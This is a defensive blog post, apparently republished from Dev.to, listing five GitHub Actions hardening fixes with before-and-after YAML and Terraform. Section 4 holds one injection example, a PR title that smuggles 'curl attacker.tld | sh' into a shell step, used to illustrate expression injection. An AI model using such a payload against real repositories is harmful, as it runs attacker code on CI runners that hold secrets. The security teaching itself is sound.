GitHub Actions Security Checklist 2026: Keyless AWS OIDC, 40-Char SHA Pinning & Fixing Expression Injection
Most GitHub Actions breaches do not start with a zero-day in GitHub itself—they start with default token permissions, mutable @v4 tags, or unescaped ${{ ... }} expressions inside run: blocks. Below are the 5 highest-imp
Most GitHub Actions breaches do not start with a zero-day in GitHub itself—they start with default token permissions, mutable @v4 tags, or unescaped ${{ ... }} expressions inside run: blocks.
Below are the 5 highest-impact CI/CD hardening fixes you can apply to existing workflows in under 15 minutes, with concrete before-and-after YAML and Terraform examples.
1. Lock Top-Level permissions: contents: read and Isolate Job Scopes
By default on older repositories (or misconfigured orgs), GITHUB_TOKEN can receive read/write access across contents, packages, and pull requests for every job in the workflow—even a linting job that only needs to read code.
Set minimal permissions at the workflow root, then grant elevated scopes only on the exact job that needs them:
# Before: every job inherits broad write permissions
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps: ...
deploy:
runs-on: ubuntu-latest
steps: ...
# After: deny-by-default at workflow level, scoped per job
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps: ...
security-scan:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps: ...
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps: ...
2. Set persist-credentials: false on actions/checkout
actions/checkout writes the workflow's GITHUB_TOKEN into .git/config by default so subsequent git commands authenticate automatically. If a compromised npm postinstall, pytest plugin, or third-party build step runs afterward, it can read .git/config directly off disk.
# Before: token stays persisted inside .git/config for the rest of the job
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# After: scrub token from .git/config immediately after checkout
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
(If a release step genuinely needs to push tags, isolate it in a dedicated release job after untrusted build/test steps have finished.)
3. Pin Third-Party uses: Actions to 40-Char Commit SHAs
Git tags (@v4, @v4.2.2) and branches (@main) are mutable pointers. If an upstream maintainer account is compromised—or a repo changes hands—an attacker can force-push a tag to point at malicious code and execute it across every workflow referencing that tag.
Pin every third-party action to an immutable 40-character commit SHA, keeping the version in a trailing comment for readability and Dependabot/Renovate updates:
# Before: vulnerable to mutable tag or branch hijacking
- uses: actions/checkout@v4
- uses: aws-actions/configure-aws-credentials@v4
# After: immutable 40-char commit SHA pinning
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
4. Fix ${{ github.event.* }} Expression Injection via env: Indirection
GitHub Actions evaluates ${{ ... }} expressions before passing the rendered string to bash. If a workflow interpolates untrusted event data—like github.event.pull_request.title, branch names, or commit messages—directly inside run:, a fork PR titled foo"; curl attacker.tld | sh # executes arbitrary shell commands on your runner.
# Before: direct template interpolation inside run: allows shell injection
- name: Log PR title
run: echo "Checking PR: ${{ github.event.pull_request.title }}"
# After: bind untrusted input to env: and quote the shell variable
- name: Log PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: printf '%s\n' "$PR_TITLE"
Using env: keeps the untrusted string out of shell parsing entirely, and printf '%s\n' "$PR_TITLE" avoids echo flag/escape edge cases.
5. Never Checkout Untrusted Head SHAs in pull_request_target, and Scope AWS OIDC Trusts Strictly
Two high-severity mistakes frequently turn read-only PR checks into full cloud account takeovers:
-
pull_request_target+ head checkout:pull_request_targetruns in the base repository's privileged context (with access to secrets and write tokens). Checking out${{ github.event.pull_request.head.sha }}and runningnpm testormakeexecutes unreviewed fork code with production secrets. Use standardpull_requestfor building/testing PR code, and reservepull_request_targetstrictly for metadata-only tasks (e.g., labeling) that never execute PR code. -
Overly broad AWS OIDC trust policies: Issuing short-lived OIDC tokens beats static
AWS_ACCESS_KEY_IDsecrets, unless your IAM trust condition usesrepo:ORG/*—which lets any branch or repo in the org assume your production deploy role.
# Before: any repo or unreviewed branch in the org can assume the role
condition {
test = "StringLike"
variable = "token.actions.githubusercontent.com:sub"
values = ["repo:my-org/*"]
}
# After: restrict assumption strictly to the exact repo + protected environment
condition {
test = "StringEquals"
variable = "token.actions.githubusercontent.com:aud"
values = ["sts.amazonaws.com"]
}
condition {
test = "StringEquals"
variable = "token.actions.githubusercontent.com:sub"
values = ["repo:my-org/my-app:environment:production"]
}
Pairing environment: production in your GitHub Environment protection rules (required reviewers + main-branch deployment policy) with StringEquals on sub ensures neither fork PRs nor feature branches can exchange an OIDC JWT for AWS credentials.
Resources
- Offline GitHub Actions Workflow Auditor + OIDC Terraform/CLI Pack ($12): Ko-fi Pack
- Free 100% Browser-Local DevOps Tools (Cron, JWT, CIDR, K8s/Docker Audit, Chmod): Solo Founder Toolkit
- Available for Full-Stack + AI MVP / CI/CD Consulting: Hire / Consulting
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.